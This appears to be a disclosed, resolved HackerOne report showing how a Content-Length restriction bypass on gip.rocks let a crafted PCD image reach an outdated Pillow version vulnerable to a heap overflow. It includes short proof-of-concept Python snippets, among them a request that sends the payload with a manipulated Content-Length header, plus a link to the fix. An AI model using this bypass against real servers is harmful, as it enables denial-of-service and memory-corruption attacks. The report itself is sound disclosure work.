Content-Length restriction bypass to heap overflow in gip.rocks.
High
G
Gratipay
Submitted None
Actions:
Reported by
edoverflow
Vulnerability Details
Technical details and impact analysis
I started playing around with a0xnirudh's [Content-Length restriction bypass](https://hackerone.com/reports/203388) and noticed that when combined with a different vulnerability this could be leveraged to do a bit more than DoS.
We decided to open a new ticket to address this issue, since [we were already aware of the bypass](https://github.com/gratipay/gip.rocks/issues/2). a0xnirudh wrote such a good report that we decided to not close their report as a `Duplicate`.
# Summary
---
I noticed that `gip.rocks` was using an outdated version (2.9.0) of the Pillow framework which is vulnerable to heap overflows. The test playoad is 788480 bytes. So the bypass allowed me to pass the payload on to the vulnerable code.
~~~python
>>> import os
>>> os.path.getsize('payload.pcd')
788480L
~~~
# PoC
---
Vulnerable code in `www/v1.st` summarised:
~~~python
>>> from PIL import Image
>>> image = Image.open('foo.jpg')
>>> image.resize((foo, bar))
~~~
Summarised exploit:
~~~python
>>> from PIL import Image
>>> image = Image.open('payload.pcd')
>>> image.resize((128, 128))
~~~
Exploit concept:
~~~python
import requests
r = requests.post( 'http://gip.rocks/v1',
data = open('payload.pcd').read(),
headers = {
'Content-Type': 'image/jpeg',
'Content-Length': ' ' # Insert a value smaller than 262144
}
)
print(r.status_code, r.reason)
~~~
# Fix
---
I have submitted a PR to solve the heap overflow vulnerability: https://github.com/gratipay/gip.rocks/pull/5
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Heap Overflow